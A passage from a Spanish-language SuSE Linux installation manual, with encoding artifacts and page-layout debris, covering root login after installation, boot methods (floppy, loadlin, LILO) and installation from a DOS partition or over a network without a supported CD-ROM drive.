  3223. 2.2.11       Entrar al sistema despuΘs de la primera instalaci≤n
  3224.  
  3225.  
  3226.  
  3227. Mientras  se ejecutan diversos scripts de configuraci≤n en segundo plano, se                                       `root'
  3228. puede  entrar  al  sistema  como  usuario  `root';  p. ej.  en  la  consola  1  .  Por                             Login:
  3229. detrßs del mensaje "Login:", se escribe root     y cuando se pida la contrase±a
  3230. ("Password:"),  se  introduce  la  contrase±a  definida  anteriormente  para  el
  3231. usuario  `root';  esta  contrase±a  se  ha  definido  en  el  apartado  2.2.10  en  la
  3232. pßgina 43Configuraci≤n bßsica con YaST  subsection.2.2.10) ~ íNo se debe
  3233. confundir  esta  contrase±a  con  la  del  ''usuario  de  ejemplo''!   ~  Respecta  al
  3234. significado del proceso de ''login'' vΘase tambiΘn el apartado 19.1 en la pßgi-
  3235. na 467Hacer login, `root'-Usuario, introducci≤n de Usuariosection.19.1.
  3236.  
  3237.  
  3238. El  +  Prompt del sistema Linux aparece y se puede comenzar a trabajar:                                            Prompt
  3239.  
  3240.  
  3241.       tierra:  #
  3242.  
  3243.  
  3244. Por ejemplo, se puede introducir el comando ls  -a     para ver el listado de los
  3245. ficheros en el directorio de trabajo.
  3246.  
  3247.  
  3248.       tierra:  #  ls  -a
  3249.  
  3250.  
  3251. O tambiΘn se puede introducir por ejemplo YaST  (yast    ) para modificar la
  3252. instalaci≤n o administrar el sistema.
  3253.  
  3254.  
  3255.       tierra:  #  yast
  3256.  
  3257.  
  3258. Cuando YaST (yast    ) arranca se pueden generar usuarios adicionales usando
  3259. la opci≤n del men· `Administraci≤n  de  sistema'.  Se sigue con la op-
  3260. ci≤n `Configurar  XFree86TM  ' la cual permite configurar la tarjeta grßfica
  3261. (ver apartado 8.1 en la pßgina 238Configuraci≤n con SaX  section.8.1).
  3262.        _______________________________________________________________________________________________________________________|||
  3263.        ||||||||                                                                                                 ||             |
  3264.        ||||||||  En segundo plano se ejecutan scripts de configuraci≤n automßticos (Indi-                       ||             |
  3265.        ||||||||  caci≤n de las ''Manual-Pages'', configuraci≤n de perl, etc.); en computado-                    ||             |
  3266.        ||||||||                                                                                                 ||             |
  3267.        ||||||||  ras menos potentes este procedimiento puede durar ~ seg·n el tama±o de                         ||             |
  3268.        ||||||||  la instalaci≤n ~ hasta mßs de una hora.  Si se llegara a apagar la computa-                    ||             |
  3269.        ||||||||                                                                                                 ||             |
  3270.        ||||||||  dora prematuramente, YaST  se ejecutarß automßticamente en el pr≤ximo                          ||             |
  3271.        ||||||||                                                                                                 ||             |
  3272.        ||||||||  arranque del sistema.                                                                          ||             |
  3273.        ||||||||  Los mencionados scripts se han ejecutado por completo cuando aparece en                        ||             |
  3274.        ||||||||                                                                                                 ||             |
  3275.        ||||||||  la +  Consola9:                                                                                ||             |
  3276.        ||||||||                                                                                                 ||             |
  3277.        ||||||||             Have a lot of fun!                                                                  ||             |
  3278.        ||||||||                            ____       ___                                                       ||             |
  3279.        ||||||||  (Cambiar la consola con |A____l|t+ |F___|9)                                                    ||             |
  3280.        ||||||||_______________________________________________________________________________________________________________||_
  3281.  
  3282.  
  3283. DespuΘs de la instalaci≤n se pueden efectuar mßs configuraciones;  vΘanse los
  3284. consejos sobre impresoras, instalaci≤n de hardware adicional e Internet en el
  3285. apartado 2.1.17 en la pßgina 28Configuraciones adicionales y trabajo con el
  3286. sistemasubsection.2.1.17.
  3287.  
  3288.  
  3289.                                                                                                                                    *
  3290.  *     45
  3291. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  3292.  *_______________________________________@
  3293.  
  3294.                            ________________________________________________________________________________________________________*
  3295.  *________|||
  3296.                            |  íNunca  se  debe  apagar  de  golpe  una  computadora  con  Linux!   Hay  que                        *
  3297.  *        ||||
  3298.                            || usar la funci≤n de parada de KDM  o uno de los comandos presentados en                               *
  3299.  *        ||||
  3300.                            |  el apartado 19.2 en la pßgina 468Apagar y arrancar el sistemasection.19.2                            *
  3301.  *        ||||
  3302.                            |                                                                                                       *
  3303.  *        |||
  3304.                            |  para efectuar una ''parada limpia'' (ingl. Shutdown).  En caso contrario es                          *
  3305.  *        |||
  3306.                            |  preciso efectuar una comprobaci≤n del sistema de ficheros la pr≤xima vez                             *
  3307.  *        |||
  3308.                            |                                                                                                       *
  3309.  *        |||
  3310.                            |  que  si  inicia  la  computadora.   Esto  cuesta  al  menos  un  cierto  tiempo  e                   *
  3311.  *        |||
  3312.                            |  incluso  es  posible  que  el  mecanismo  de  comprobaci≤n  no  sea  capaz  de                       *
  3313.  *        |||
  3314.                            |                                                                                                       *
  3315.  *        |||
  3316.                            |  recuperar todos los datos.                                                                           *
  3317.  *        |||
  3318.                            |_______________________________________________________________________________________________________*
  3319.  *________|||_
  3320. 46
  3321.        __________________________________________________________________________2.3.__┐C≤mo_se_debe_arrancar_Linux?_______________*
  3322.  *______________________
  3323.  
  3324.  
  3325.  
  3326. 2.3       ┐C≤mo se debe arrancar Linux?
  3327.  
  3328. El  sistema  SuSE      Linux  estß  ahora  instalado  casi  por  completo.    Lo  que
  3329. falta  por  aclarar  es  c≤mo  se  desea  arrancar  SuSE     Linux  en  el  uso  diario
  3330. (+  Arrancar).
  3331.  
  3332. El siguiente resumen muestra las principales posibilidades de arrancar Linux.
  3333. El mΘtodo de arranque que mßs se adapta a sus necesidades depende del grado
  3334. de experiencia que se tenga usando computadoras y tambiΘn del tipo de uso
  3335. previsto.
  3336.  
  3337. Disquete de arranque:                Para  arrancar  Linux  con  el  disquete  de  arranque.
  3338.       Esta posibilidad siempre funciona y no representa ning·n trabajo, porque
  3339.       posiblemente ya lo ha generado (concretamente en el apartado 2.1.10 en
  3340.       la pßgina 25LILO : Otra configuraci≤n de arranquesubsection.2.1.10).
  3341.  
  3342.       El disquete es una buena soluci≤n intermedia si no se tiene en el momento
  3343.       otra  posibilidad  o  si  se  prefiere  postergar  la  decisi≤n  sobre  este  tema.
  3344.       TambiΘn en combinaci≤n con OS/2 o Windows NT, el uso del disquete
  3345.       de arranque puede representar una buena soluci≤n.
  3346.  
  3347. loadlin :     La variante con loadlin presupone:
  3348.  
  3349.       o   La computadora tiene que estar bajo DOS en modo real o en el mo-
  3350.           do virtual del 8086 teniendo activado un servidor VCPI. Un servidor
  3351.           VCPI proporciona p. ej.  emm386.exe .  Dicho de otra manera:  Se trata
  3352.           de una soluci≤n que no funciona bajo Unix, OS/2, Windows NT o en
  3353.           una ventana DOS de Windows 95/98 ~ pero sφ que funciona bien desde
  3354.           el prompt de MS-DOS o desde el modo DOS de Windows 95/98.
  3355.  
  3356.       o   El ordenador debe tener suficiente memoria libre en DOS: Por debajo
  3357.           del lφmite de 640 KB hace falta un mφnimo de 128 KB, el resto puede
  3358.           ser memoria extendida EMS/XMS.
  3359.  
  3360.       Aunque su instalaci≤n es un poco complicada, loadlin  se puede integrar
  3361.       fantßsticamente en los men·s de arranque de Windows 95 y 98. Esto exige
  3362.       editar manualmente ficheros de configuraci≤n.  La gran ventaja es que no
  3363.       se modifica el sector de arranque +  MBR (ingl. Master Boot Record). De
  3364.       esta manera, los demßs sistemas operativos no ven mßs que una partici≤n
  3365.       con anotaciones, como huella de Linux.
  3366.  
  3367.       Para  instalar  loadlin ,  se  requieren  ciertos  conocimientos  de  DOS  y  de
  3368.       Linux.  Se debe saber c≤mo generar con un +  Editor los ficheros de con-
  3369.       figuraci≤n necesarios.   En el apartado 4.9 en la pßgina 143Configuraci≤n
  3370.       del mecanismo de arranque con loadlinsection.4.9 hay detalles sobre este
  3371.       procedimiento.     Es  posible  que  se  presenten  problemas  si  se  equivoca
  3372.       configurando los men·s de arranque de Windows 95/98; en caso extremo,
  3373.       ya no se podrφa acceder a la instalaci≤n de Windows. Antes de configurar
  3374.       los men·s de arranque se debe comprobar que el sistema se carga con un
  3375.       disquete de arranque de Windows.
  3376.  
  3377. LILO :       La soluci≤n mßs limpia desde un punto de vista tΘcnico y mßs univer-
  3378.       sal, es el uso del gestor de arranque LILO  que permite seleccionar entre
  3379.       distintos sistemas operativos antes de arrancar.  Su instalaci≤n mediante
  3380.       YaST es sencilla (ver el apartado 3.7.2 en la pßgina 106`Configuraci≤n
  3381.  
  3382.  
  3383.                                                                                                                                    *
  3384.  *     47
  3385. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  3386.  *_______________________________________@
  3387.  
  3388.  
  3389.  
  3390.                                  LILO 'subsection.3.7.2). Ciertamente LILO tiene que estar presente en el
  3391.                                  sector de arranque del disco duro, lo que implica un peque±o riesgo.  El
  3392.                                  tratamiento de un posible error exige conocimientos bßsicos del proceso
  3393.                                  de arranque. Es necesario saber editar ~ por alg·n caso ~ el fichero princi-
  3394.                                  pal de configuraci≤n de LILO . TambiΘn es conveniente saber antes de la
  3395.                                  instalaci≤n, c≤mo desinstalar de vuelta LILO . Hay mßs detalles acerca de
  3396.                                  LILO  y del proceso de arranque en el apartado 4.3 en la pßgina 122Re-
  3397.                                  sumen  de  LILO  section.4.3.   Sigue  siendo  asφ  que  LILO  representa  la
  3398.                                  mejor forma de arrancar.  Sencillamente se ha de tener en cuenta que la
  3399.                                  instalaci≤n de LILO   es mßs complicada que, por ejemplo, el uso de un
  3400.                                  disquete de arranque.
  3401.                            ________________________________________________________________________________________________________*
  3402.  *________|||
  3403.                            |                                                                                                       *
  3404.  *        |||
  3405.                            |  Hay determinadas versiones de +  BIOS que comprueban la estructura del                               *
  3406.  *        |||
  3407.                            |  sector de arranque (MBR) y que emiten ~ por equivocaci≤n ~ la advertencia                            *
  3408.  *        |||
  3409.                            |                                                                                                       *
  3410.  *        |||
  3411.                            |  de presencia de virus despuΘs de la instalaci≤n de LILO . Lo mßs sencillo                            *
  3412.  *        |||
  3413.                            |  para  resolverlo  es  entrar  en  la  BIOS  y  tratar  de  desactivar  la  protecci≤n                *
  3414.  *        |||
  3415.                            |                                                                                                       *
  3416.  *        |||
  3417.                            |  antivirus (`virus  protection'). ~ Una vez que Linux estΘ instalado es                               *
  3418.  *        |||
  3419.                            |  posible activar esta caracterφstica de nuevo, pero si se usa la computadora                          *
  3420.  *        |||
  3421.                            |                                                                                                       *
  3422.  *        |||
  3423.                            |  exclusivamente con Linux tampoco hace falta.                                                         *
  3424.  *        |||
  3425.                            |_______________________________________________________________________________________________________*
  3426.  *________|||_
  3427.  
  3428.                            Se puede encontrar una explicaci≤n exhaustiva sobre los diferentes mΘtodos
  3429.                            de arranque y en especial sobre LILO  y loadlin  en el capφtulo 4 en la pßgi-
  3430.                            na 119Arrancar y gestor de arranquechapter.4 en adelante.
  3431.  
  3432.  
  3433.                            Gestores de arranque adicionales
  3434.  
  3435.                            Por su creciente importancia, algunos fabricantes y comerciantes de gestores
  3436.                            de arranque, tienen en cuenta a Linux.  En primer lugar se deben mencionar
  3437.                            los  programas  System  Commander  Deluxe  o  Partition  Magic .   A  parte  de
  3438.                            simples ayudas durante el arranque de sistema, estos paquetes tambiΘn ofre-
  3439.                            cen funciones como el cambio de tama±o de particiones (existentes) del tipo
  3440.                            FAT32 o el cambio de FAT16 a FAT32.  Estos programas no forman parte de
  3441.                            los CDs y no podemos ofrecer soporte de instalaci≤n al respecto.
  3442.  
  3443.  
  3444. 48
  3445.        __________________________________________________________2.4.__Instalaci≤n_sin_soporte_del_lector_CD-ROM___________________*
  3446.  *______________________
  3447.  
  3448.  
  3449.  
  3450. 2.4       Instalaci≤n sin soporte del lector CD-ROM
  3451. ┐QuΘ hacer si no es posible efectuar una instalaci≤n estßndar a travΘs de un
  3452.  
  3453. lector CD-ROM? El lector CD-ROM podrφa ser uno de los modelos ''propi-
  3454. etarios'' antiguos para los que no siempre existe soporte.  TambiΘn es posible
  3455. que no se tenga una unidad CD-ROM en una segunda computadora (p. ej.  un
  3456. portßtil) pero que sφ se tenga una tarjeta Ethernet o un cable PLIP. . .
  3457.  
  3458. SuSE     Linux ofrece tambiΘn la posibilidad de instalar el sistema en una com-
  3459. putadora de tales caracterφsticas:
  3460.  
  3461.   o   Desde una partici≤n DOS (apartado 2.4.1).
  3462.  
  3463.   o   A  travΘs  de  una  conexi≤n  de  red  Ethernet  tipo  NFS  o  FTP  o  vφa
  3464.       PLIP  (apartado  2.4.2  en  la  pßgina  51Instalaci≤n  desde  una  fuente  en
  3465.       la ''red''subsection.2.4.2).
  3466.  
  3467.  
  3468. 2.4.1      Instalaci≤n desde una partici≤n DOS
  3469.  
  3470.  
  3471. ┐De quΘ se trata?
  3472.  
  3473. Se puede copiar el software de Linux (parcialmente) antes de la instalaci≤n,
  3474. en una partici≤n DOS del disco duro,  cuando el kernel estßndar no soporta
  3475. la unidad CD-ROM o bien, cuando por parte de Linux no existe soporte para
  3476. Θste. En el ·ltimo caso, no se podrß usar el CD-ROM con Linux.
  3477.  
  3478.  
  3479. Requisito / Situaci≤n
  3480.  
  3481. Se  trabaja  bajo  DOS,  Windows  o  OS/2  y  se  sabe  que  Linux  no  soporta  el
  3482. lector CD-ROM. Por otra parte, hay suficiente espacio en la partici≤n de DOS,
  3483. o Windows (3.11 o 95/98) y la computadora tiene suficiente +  Memoria.
  3484.  
  3485.  
  3486. Paso por paso. . .
  3487.  
  3488. Para  copiar  todos  los  ficheros  deseados  en  el  disco  duro,  se  procede  de  la
  3489. siguiente manera (si no le interesa ir paso a paso, tal vez el fichero ''batch''
  3490. lhdsetup.bat en el directorio \dosutils         le resulte ·til):
  3491.  
  3492.  1.   Generar un directorio que sirva de traspaso.  El nombre no tiene impor-
  3493.       tancia; en este ejemplo se llama \pepe     .
  3494.  
  3495.  2.   Por debajo de \pepe     se necesita el directorio suse    y dentro de Θste, como
  3496.       mφnimo, los directorios a1  , images       y setup     .  Estos se necesitan para la
  3497.       instalaci≤n del sistema Linux base.  El ßrbol de directorios necesario se
  3498.       muestra en la figura 2.17 en la pßgina siguiente.
  3499.  
  3500.  3.   Copiar  los  ficheros  de  \suse\a1        del  CD  1  en  \pepe\suse\a1           ,  en  el
  3501.       disco duro; si hay mucho espacio en la partici≤n DOS, lo mejor es copiar
  3502.       todo el directorio \suse      a \pepe\suse         .
  3503.  
  3504.  4.   Seleccionar  en  \suse\images            un  kernel  que  soporte  el  hardware.   El
  3505.       fichero \suse\images\readme.dos                      indica cußl kernel soporta quΘ tipo
  3506.       de hardware.
  3507.  
  3508.       Se  procede  entonces  a  copiar  el  kernel  en  \pepe\suse\images               .   Un
  3509.       kernel  se  compone  de  4  ficheros  (ver  arriba):  el  kernel  sin  extensi≤n  y
  3510.       los  ficheros  con  las  extensiones  .ikr   ,  .inf     y  .map.   Si  hay  suficiente
  3511.  
  3512.  
  3513.                                                                                                                                    *
  3514.  *     49
  3515. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  3516.  *_______________________________________@
  3517.                            |                                                                                                       *
  3518.  *         |
  3519.                            ________________________________________________________________________________________________________*
  3520.  *________||||
  3521.                            |                                                                                                       *
  3522.  *         |
  3523.                            ||                                                                                                      *
  3524.  *         ||
  3525.                            |                                                                                                       *
  3526.  *         |
  3527.                            |                                                                                                       *
  3528.  *         |
  3529.                            |                                                                                                       *
  3530.  *         |
  3531.                            |                                                                                                       *
  3532.  *         |
  3533.                            |                                                                                                       *
  3534.  *         |
  3535.                            |                                                                                                       *
  3536.  *         |
  3537.                            |                                                                                                       *
  3538.  *         |
  3539.                            |                                                                                                       *
  3540.  *         |
  3541.                            |                                                                                                       *
  3542.  *         |
  3543.                            |                                                                                                       *
  3544.  *         |
  3545.                            |                                                                                                       *
  3546.  *         |
  3547.                            |                                                                                                       *
  3548.  *         |
  3549.                            |                                                                                                       *
  3550.  *         |
  3551.                            |                                                                                                       *
  3552.  *         |
  3553.                            |                                                                                                       *
  3554.  *         |
  3555.                            |                                                                                                       *
  3556.  *         |
  3557.                            |                                                                                                       *
  3558.  *         |
  3559.                            |                                                                                                       *
  3560.  *         |
  3561.                            |                                                                                                       *
  3562.  *         |
  3563.                            |                                                                                                       *
  3564.  *         |
  3565.                            |                                                                                                       *
  3566.  *         |
  3567.                            |                                                                                                       *
  3568.  *         |
  3569.                            |                                                                                                       *
  3570.  *         |
  3571.                            |                                                                                                       *
  3572.  *         |
  3573.                            |                                                                                                       *
  3574.  *         |
  3575.                            |_______________________________________________________________________________________________________*
  3576.  *________ |
  3577.  
  3578.                                           Figura 2.17: Estructura de directorios para la instalaci≤n
  3579.  
  3580.  
  3581.  
  3582.                                  espacio  en  el  disco  duro,  se  pueden  copiar  tambiΘn  todos  los  ficheros,
  3583.                                  evitßndose por el momento la selecci≤n del kernel.
  3584.  
  3585.                             5.   Por razones de seguridad conviene copiar los ficheros
  3586.                                  \suse\images\root                y \suse\images\initdisk.gz                       en
  3587.                                  \pepe\suse\images               .
  3588.  
  3589.                             6.   Copiar \suse\setup\loadlin.exe                      en \pepe\suse\setup               .
  3590.  
  3591.                             7.   Por lo demßs, solo hace falta desempaquetar el fichero \suse\setup\root
  3592.                                  y copiarlo a \pepe\suse\setup               .  Para ello use la versi≤n DOS de gzip
  3593.                                  del directorio \dosutils         del CD:
  3594.                                       C:>  cd  \pepe\suse
  3595.                                       C:>  gzip  -dc  <  images\root          >  setup\inst-img
  3596.                                  Este  fichero  es  relativamente  grande,  pero  solamente  se  necesita  para
  3597.                                  la  instalaci≤n  base.   Una  vez  que  se  ejecute  el  sistema  base,  se  puede
  3598.                                  proceder en cualquier momento a instalar paquetes individuales desde la
  3599.                                  partici≤n DOS; el fichero inst-img        ya no se necesita.
  3600.  
  3601.                             8.   Crear ahora el directorio \pepe\suse\setup\descr                     en el disco duro y
  3602.                                  copiar en Θl todos los ficheros del directorio \suse\setup\descr                .
  3603.  
  3604.                             9.   Si a·n queda suficiente espacio en el disco duro, tambiΘn se puede crear
  3605.                                  el  directorio  \pepe\suse\setup\du                  y  copiar  en  Θl  todos  los  ficheros
  3606.                                  de  \suse\setup\du            .   Estos  ficheros  no  son  absolutamente  necesarios,
  3607.                                  pero mßs tarde permitirßn a YaST  efectuar cßlculos sobre el tama±o del
  3608.                                  software a instalar o del software ya instalado. Si realmente queda espacio
  3609.                                  resultan bastante ·tiles.
  3610.  
  3611.                           10.    Ahora  ya  se  tiene  todo  lo  necesario  para  un  sistema  Linux  base  en  la
  3612.                                  partici≤n  DOS  del  disco,  pero  todavφa  falta  el  resto  del  software.   Ya
  3613.                                  que  Usted  pertenece  al  conjunto  de  personas  cuyo  lector  CD-ROM  no
  3614.  
  3615.  
  3616. 50
  3617.        __________________________________________________________2.4.__Instalaci≤n_sin_soporte_del_lector_CD-ROM___________________*
  3618.  *______________________
  3619.  
  3620.  
  3621.  
  3622.       es  soportado  por  Linux,  debe  ir  instalando  todo  en  porciones:  primero
  3623.       al  disco  duro,  instalar  desde  allφ  con  YaST  y  finalmente  borrarlo  otra
  3624.       vez  del  disco.   No  hace  falta  hacerlo  de  inmediato,  pero  si  ya  sabe  lo
  3625.       que quiere, entonces:  íAdelante!  Cree un directorio bajo \pepe\suse          y
  3626.       copie en Θl los ficheros correspondientes.  Todo lo que hay se encuentra
  3627.       en la descripci≤n de los paquetes o en la documentaci≤n en lφnea del CD.
  3628.  
  3629. Ahora se puede comenzar la instalaci≤n como se ha explicado en el aparta-
  3630. do 2.2.2 en la pßgina 30A continuaci≤n: La pantalla de bienvenidasubsection.2.2.2.
  3631.  
  3632. Si linuxrc  pregunta por la Fuente  de  instalaci≤n                   (apartado 2.2.3 en la
  3633. pßgina 31La base:  linuxrc subsection.2.2.3), se debe indicar `Disco  duro'
  3634. y responder a la pregunta sobre la partici≤n con el +  Device correspondiente
  3635. de la partici≤n DOS. Esto es por lo general /dev/hda1 o /dev/sda1, si DOS
  3636. se encuentra en la primera partici≤n primaria.
  3637.  
  3638. En caso de haber adoptado la nomenclatura propuesta arriba, se debe indicar
  3639. el nombre pepe en la pr≤xima pregunta sobre el Directorio  fuente               .  La
  3640. instalaci≤n contin·a entonces tal como se ha detallado en el apartado 2.2.4 en
  3641. la pßgina 35Arrancar YaST subsection.2.2.4. No indique en estas circunstan-
  3642. cias `Todo  el  disco', ya que se borrarφan todos los preparativos.
  3643.  
  3644.  
  3645. 2.4.2      Instalaci≤n desde una fuente en la ''red''
  3646.  
  3647. El  soporte  no  cubre  esta  vφa  de  instalaci≤n  (ver  apartado  H.1.2  en  la  pßgi-
  3648. na 541Cobertura del soporte de instalaci≤nsubsection.H.1.2).
  3649.  
  3650. Solo los usuarios experimentados deberφan usar este medio de instalaci≤n.
  3651.  
  3652.  
  3653. ┐De quΘ se trata?
  3654.  
  3655. La  computadora  en  la  cual  se  quiere  instalar  SuSE     Linux  no  tiene  ning·n
  3656. lector CD-ROM y tampoco existe una partici≤n DOS que se pueda usar para
  3657. el  traspaso  de  ficheros.   Por  otra  parte,  se  puede  instalar  una  conexi≤n  vφa
  3658. red a otra computadora que tenga un lector CD-ROM o en cuyo disco duro
  3659. haya  una  copia  del  CD,  como  se  ha  explicado  en  el  apartado  2.4.1  en  la
  3660. pßgina 49Instalaci≤n desde una partici≤n DOSsubsection.2.4.1. Ademßs hace
  3661. falta copiar del CD-Rom los ficheros .S.u.S.E-disk* al disco duro;  bajo
  3662. Linux p. ej. con:
  3663.       tierra:  #  cp  /cdrom/.S*  /pepe
  3664.       tierra:  #  cp  -a  /cdrom/suse  /pepe
  3665. íLa  ''otra''  computadora  debe  ser  capaz  de  ''exportar''  los  datos  adecuada-
  3666. mente!
  3667.  
  3668.  
  3669. Paso por paso. . .
  3670.  
  3671.  1.   Comenzar  la  instalaci≤n  del  cliente  como  se  ha  explicado  en  el  aparta-
  3672.       do 2.2.2 en la pßgina 30A continuaci≤n: La pantalla de bienvenidasubsection.2.2.2.
  3673.  2.   Seguir los pasos de la instalaci≤n como se ha indicado en el apartado 2.2.3
  3674.       en la pßgina 31La base: linuxrc subsection.2.2.3 ~ pero:
  3675.  
  3676.       o   Al llegar a la opci≤n del men· `M≤dulos  de  kernel', cargar el driv-
  3677.           er de red adecuado (opci≤n `Driver  de  red'). Esto no es necesario
  3678.           si se quiere instalar vφa PLIP.
  3679.  
  3680.  
  3681.                                                                                                                                    *
  3682.  *     51
  3683. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  3684.  *_______________________________________@
  3685.  
  3686.  
  3687.  
  3688.                                  o   Cuando linuxrc  pregunte por la `Fuente  de  instalaci≤n', selec-
  3689.                                      cionar `Red  (NFS)' y proceder con la configuraci≤n de red. TambiΘn
  3690.                                      existe la posibilidad de instalar vφa FTP.
  3691.  
  3692.                             3.   Finalizar la instalaci≤n como se ha explicado en el apartado 2.2.4 en la
  3693.                                  pßgina 35Arrancar YaST  subsection.2.2.4 en adelante.
  3694.  
  3695.  
  3696.                            Posibles problemas
  3697.  
  3698.                              o   La instalaci≤n termina antes de haber comenzado realmente: El directorio
  3699.                                  de  instalaci≤n  de  la  ''otra''  computadora  no  se  export≤  con  derechos  de
  3700.                                  ejecuci≤n (exec    ) ~ se ha de modificar esto.
  3701.  
  3702.                              o   El  servidor  desconoce  la  computadora  en  la  que  SuSE     Linux  debe  ser
  3703.                                  instalado.  Introducir al fichero /etc/hosts del servidor, el nombre y la
  3704.                                  direcci≤n IP de la computadora nueva.
  3705.  
  3706.  
  3707.  
  3708. 52
  3709.        _________________________________________________________2.5.__Otra_vφa_de_instalaci≤n:_Con_setup_y_loadlin_________________*
  3710.  *______________________
  3711.  
  3712.  
  3713.  
  3714. 2.5       Otra vφa de instalaci≤n:  Con setup y loadlin
  3715.  
  3716. 2.5.1      Activar modo DOS de Windows 95
  3717.  
  3718. La computadora bajo DOS debe estar en el modo real (ingl. real-mode) para
  3719. poder arrancar el programa de instalaci≤n Setup .
  3720.  
  3721. El programa de instalaci≤n Setup.exe  llama a un programa basado en MS-
  3722. DOS denominado loadlin .  Este programa solo es capaz de cargar el +  Linux
  3723. originario en la memoria y arrancarlo si el procesador se encuentra en modo
  3724. real o bien si un servidor VCPI 2  estß activo cuando el procesador estß en el
  3725. modo virtual del 8086.  La ventana DOS de Windows 95 corre en el modo
  3726. virtual  del  8086,  pero  no  proporciona  ning·n  servidor  VCPI;  por  lo  tanto,
  3727. setup no funciona en la ventana DOS.
  3728.  
  3729.  
  3730. Paso por paso. . .
  3731.  
  3732. Hay dos posibilidades: Cambiar al modo DOS desde Windows 95/98 o entrar
  3733. al modo DOS directamente en el momento de arrancar.
  3734.  
  3735. Si Windows 95/98 ya se ejecuta, seleccione `Inicio'-`Apagar  sistema'-
  3736. `Reiniciar  equipo  en  modo  MS-DOS'.
  3737.  
  3738. Si ya se encuentra en el proceso de arranque, pulse |F___|_8durante el arranque
  3739. de Windows 95 y seleccione despuΘs `S≤lo  sφmbolo  de  sistema'.
  3740.  
  3741.  
  3742. Posibles problemas
  3743.  
  3744. Se pueden presentar problemas si no estß definida la distribuci≤n espa±ola del
  3745. teclado y si el driver del CD-ROM no estß cargado:
  3746.  
  3747.   o   En modo DOS no funcionan las tildes y los caracteres especiales. Consul-
  3748.       tar el apartado 2.7.2 en la pßgina 63La distribuci≤n del teclado en modo
  3749.       MS-DOS no es correctasubsection.2.7.2.
  3750.  
  3751.   o   En modo DOS no se puede leer la unidad CD-ROM. Consultar el aparta-
  3752.       do  2.7.3  en  la  pßgina  63No  hay  driver  de  CD-ROM  en  modo  MS-
  3753.       DOSsubsection.2.7.3
  3754.  
  3755.  
  3756. 2.5.2      Arrancar Setup y su primera parte
  3757.  
  3758. El programa Setup.exe  prepara el arranque del +  Linux originario.  Ahora se
  3759. arranca este programa y se ejecuta hasta el punto en que se debe decidir entre
  3760. dos posibilidades de arranque para el Linux originario.
  3761.  
  3762. Se ha arrancado MS-DOS o una ventana de MS-DOS que no se encuentra en
  3763. modo protegido; el primer CD estß en el lector y hay acceso al lector de CDs.
  3764.  
  3765. Mediante el programa Setup.exe  se podrß ejecutar un Linux originario que
  3766. posteriormente  se  encargarß  de  realizar  realmente  la  instalaci≤n  de  Linux.
  3767. Ahora es cuando se arranca Setup.exe y se ejecuta hasta el momento de tener
  3768. la opci≤n entre dos diferentes maneras de arranque para el Linux originario.
  3769. Estas  posibilidades  son:  Disquete  de  arranque  o  con  loadlin  directamente
  3770. desde el CD/disco duro.
  3771. 2      ____________________________________________________
  3772.   Un servidor VCPI es proporcionado p. ej.por emm386.exe.
  3773.  
  3774.  
  3775.                                                                                                                                    *
  3776.  *     53
  3777. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  3778.  *_______________________________________@
  3779.  
  3780.  
  3781.  
  3782.                            Paso por paso. . .
  3783.                            La primera parte de Setup se llevarß a cabo del siguiente modo:
  3784.  
  3785.  
  3786.                             1.   Arrancar con setup      en el directorio raφz del CD.
  3787.  
  3788.                             2.   Seleccionar el idioma de dißlogo para pasar por Setup .
  3789.  
  3790.                             3.   Introducir  la  letra  de  unidad  del  lector  CD-ROM,  p. ej.  E .   Tal  vez  esta
  3791.                                  letra ha sido cambiada a causa de una partici≤n adicional de DOS.
  3792.  
  3793.                             4.   Setup.exe  saluda  ahora,__asφ_ que  podemos  responder  a  tanta  amabilidad
  3794.                                  presionando suavemente |_____-|.
  3795.  
  3796.                             5.   Los siguientes apartados tratan sobre c≤mo arrancar el +  Linux originario.
  3797.                                  Para este tema se requiere tomar mßs decisiones (apartado 2.5.3) que se
  3798.                                  comentarßn posteriormente.
  3799.  
  3800.  
  3801.                            2.5.3      ┐C≤mo se arranca el Linux originario desde setup ?
  3802.  
  3803.                            Hay exactamente dos posibilidades para arrancar el +  Linux originario a par-
  3804.                            tir del programa setup :  Usando disquetes o con la ayuda de loadlin  directa-
  3805.                            mente desde el CD. A continuaci≤n se elegirß una de la dos vφas.
  3806.  
  3807.  
  3808.                            Informaci≤n adicional
  3809.  
  3810.                            La vφa mßs simple y c≤moda es naturalmente la del arranque del Linux orig-
  3811.                            inario  directamente  desde  el  CD.  Para  ello  se  recurre  al  programa  de  DOS
  3812.                            loadlin.exe .  Este  programa  carga  un  fichero  con  el  Kernel  de  Linux  desde
  3813.                            el CD a la memoria, prepara la carga de un RAM-disk y comienza despuΘs
  3814.                            a ejecutar el c≤digo del kernel.  Esto solo funciona si la computadora se en-
  3815.                            cuentra en modo real o cuando estΘ en modo virtual del 8086 con un servidor
  3816.                            VCPI3  activo.  Esto significa que las ventanas DOS de OS/2 o Windows NT
  3817.                            no funcionan para este fin.
  3818.  
  3819.                            Arrancar desde un disquete siempre funciona pero resulta algo mßs complica-
  3820.                            do y tarda mßs. Atenci≤n: Cuando hablamos aquφ de disquetes, nos referimos
  3821.                            a los disquetes que se generan con setup .  Mßs fßcil es, evidentemente, usar
  3822.                            el disquete de arranque de SuSE     (o el arranque directo del CD), pero aquφ no
  3823.                            se trata de esto, sino de decidirse entre generar disquetes con setup  o cargar
  3824.                            el kernel directamente con loadlin .
  3825.  
  3826.  
  3827.                            Recomendaci≤n
  3828.  
  3829.                            Decφdase por loadlin cuando sea posible ~ o sea, cuando no se trabaja ni bajo
  3830.                            OS/2 ni bajo Windows NT. En caso de duda, se aconseja probar simplemente.
  3831.                            Si no tuviera Θxito, se puede comenzar otra vez con el apartado 2.5.2 en la
  3832.                            pßgina anterior y seleccionar la vφa para generar disquetes.
  3833.  
  3834.  
  3835.                            2.5.4      Instalar loadlin y arrancar Linux originario
  3836.  
  3837.                            En  este  apartado  se  instala  y  se  usa  loadlin.exe ,  con  el  cual  se  cargarß  y
  3838.                            arrancarß un kernel de Linux para luego ejecutar el Linux originario.
  3839.                            _____________________________________________3
  3840.                              Un servidor VCPI proporciona p. ej.emm386.exe.
  3841.  
  3842.  
  3843. 54
  3844.        _________________________________________________________2.5.__Otra_vφa_de_instalaci≤n:_Con_setup_y_loadlin_________________*
  3845.  *______________________
